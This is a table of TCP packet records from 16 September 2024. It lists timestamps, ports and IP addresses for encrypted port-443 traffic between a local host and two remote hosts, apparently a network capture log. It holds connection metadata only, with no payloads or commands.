Sep 16, 2024 08:23:56.601475954 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.601499081 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.601526976 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.601592064 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.601592064 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.601592064 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.601592064 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.601592064 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.601592064 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.667433977 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.670698881 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.671781063 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.671802044 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.671827078 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.671875000 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.671926022 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.706302881 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.706324100 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.706347942 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.706367016 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.706427097 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.706444025 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.706485033 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.706515074 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.706516027 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.706535101 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.706566095 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.706626892 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.706626892 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.706641912 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.706671000 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.706692934 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.706741095 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.706741095 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.706741095 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.706804037 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.706808090 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.706856012 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.706906080 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.707005978 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.811409950 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.811484098 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:56.915401936 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:56.915478945 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:57.247447014 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:57.249914885 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:57.343425989 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:57.343446970 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:57.343501091 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:57.343508959 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:58.062525034 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:58.062544107 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:58.062555075 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:58.062618017 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:58.062623024 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:58.062629938 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:58.062638998 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:58.062679052 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:58.062684059 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:58.062719107 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:58.062721968 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:58.062736034 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:58.062756062 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:58.062758923 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:58.062851906 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:58.079413891 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:58.082235098 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:58.175404072 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:58.175472975 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:58.271399021 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:58.271527052 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:58.549504995 CEST	49773	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:58.549559116 CEST	443	49773	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:58.549643993 CEST	49773	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:58.568425894 CEST	49773	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:58.568470001 CEST	443	49773	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:58.568543911 CEST	443	49773	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:58.663213015 CEST	49774	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:58.663268089 CEST	443	49774	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:58.663362026 CEST	49774	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:58.681083918 CEST	49774	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:58.681118011 CEST	443	49774	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:58.681174994 CEST	443	49774	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:58.687408924 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:58.687520027 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:58.752937078 CEST	49775	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:58.752999067 CEST	443	49775	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:58.753088951 CEST	49775	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:58.778371096 CEST	49775	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:58.778405905 CEST	443	49775	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:58.778477907 CEST	443	49775	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:59.036186934 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.036207914 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.036220074 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.036333084 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.036338091 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.036345005 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.036358118 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.036432981 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.036437988 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.036453009 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.036456108 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.036561966 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.036566019 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.036674023 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.177073002 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.177131891 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.177167892 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.177196026 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.177229881 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.177254915 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.177280903 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.177341938 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.247410059 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.247456074 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.314332008 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.314359903 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.314395905 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.314419031 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.314461946 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.314476967 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.314508915 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.314534903 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.314563036 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.314563990 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.314579010 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.314620972 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.314661980 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.314661980 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.314676046 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.314716101 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.314764023 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.314774036 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.314882040 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.314935923 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.376581907 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.376614094 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.376642942 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.376703978 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.376740932 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.413774014 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.413786888 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.413815022 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.413836956 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.413867950 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.413882971 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.413934946 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.413948059 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.413979053 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.414002895 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.414012909 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.414037943 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.414072037 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.414088964 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.414132118 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.414133072 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.414146900 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.414176941 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.414222956 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.414237022 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.414305925 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.414305925 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.414400101 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.523401976 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.523869991 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.623405933 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.623473883 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.679398060 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.679444075 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.881227016 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.881247997 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.881258965 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.881309032 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.881314039 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.881372929 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.881376982 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.881396055 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.881480932 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.881484032 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.881493092 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.881513119 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.881542921 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.881632090 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:59.963407040 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:59.963486910 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:00.059403896 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:00.059485912 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:00.087428093 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:00.087483883 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:00.507400990 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:00.507446051 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:00.723588943 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:00.723614931 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:00.723633051 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:00.723642111 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:00.723695993 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:00.723704100 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:00.723716021 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:00.723788023 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:00.723797083 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:00.723814011 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:00.723817110 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:00.723923922 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:00.723942995 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:00.724025965 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:00.784601927 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:00.784666061 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:00.784698963 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:00.784719944 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:00.784769058 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:00.784789085 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:00.784826040 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:00.784862995 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:00.891413927 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:00.891479969 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:00.935408115 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:00.938124895 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:00.991408110 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:00.994033098 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.023969889 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.023993969 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.024019957 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.024039984 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.024065971 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.024077892 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.024122953 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.024136066 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.024178982 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.024215937 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.024215937 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.024230003 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.024256945 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.024288893 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.024288893 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.024302959 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.024333000 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.024373055 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.024389982 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.024409056 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.024452925 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.024452925 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.024452925 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.024493933 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.024548054 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.078583002 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.078617096 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.078644037 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.078696012 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.078731060 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.110292912 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.110306978 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.110327959 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.110363007 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.110404015 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.110416889 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.110456944 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.110474110 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.110498905 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.110523939 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.110538960 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.110558987 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.110591888 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.110591888 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.110591888 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.110609055 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.110647917 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.110682011 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.110694885 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.110744953 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.110755920 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.110790014 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.110835075 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.110905886 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.159929991 CEST	49776	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:24:01.159960985 CEST	443	49776	45.144.31.105	192.168.2.5
Sep 16, 2024 08:24:01.160049915 CEST	49776	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:24:01.200818062 CEST	49776	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:24:01.200834036 CEST	443	49776	45.144.31.105	192.168.2.5
Sep 16, 2024 08:24:01.200928926 CEST	443	49776	45.144.31.105	192.168.2.5
Sep 16, 2024 08:24:01.231450081 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.234057903 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.247412920 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.248701096 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.253732920 CEST	49777	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:24:01.253783941 CEST	443	49777	45.144.31.105	192.168.2.5
Sep 16, 2024 08:24:01.253869057 CEST	49777	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:24:01.273463964 CEST	49777	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:24:01.273482084 CEST	443	49777	45.144.31.105	192.168.2.5
Sep 16, 2024 08:24:01.273545980 CEST	443	49777	45.144.31.105	192.168.2.5
Sep 16, 2024 08:24:01.315424919 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.318099976 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.366053104 CEST	49778	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:24:01.366100073 CEST	443	49778	45.144.31.105	192.168.2.5
Sep 16, 2024 08:24:01.366189957 CEST	49778	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:24:01.375411987 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.378278971 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.423455954 CEST	49778	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:24:01.423476934 CEST	443	49778	45.144.31.105	192.168.2.5
Sep 16, 2024 08:24:01.423547029 CEST	443	49778	45.144.31.105	192.168.2.5
Sep 16, 2024 08:24:01.487446070 CEST	49779	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:24:01.487481117 CEST	443	49779	45.144.31.105	192.168.2.5
Sep 16, 2024 08:24:01.487556934 CEST	49779	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:24:01.519489050 CEST	49779	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:24:01.519514084 CEST	443	49779	45.144.31.105	192.168.2.5
Sep 16, 2024 08:24:01.519562960 CEST	443	49779	45.144.31.105	192.168.2.5
Sep 16, 2024 08:24:01.659444094 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.662316084 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.755430937 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.758588076 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.764462948 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.764494896 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.764508963 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.764518976 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.764564991 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.764571905 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.764632940 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.764640093 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.764653921 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.764731884 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.764736891 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.764745951 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.764765978 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.764780045 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.764874935 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.858786106 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.858848095 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.858884096 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.858923912 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:24:01.858942032 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.858973026 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.858994007 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.859014034 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:24:01.859033108 CEST	443	49734	185.199.109.133	192.168.2.5
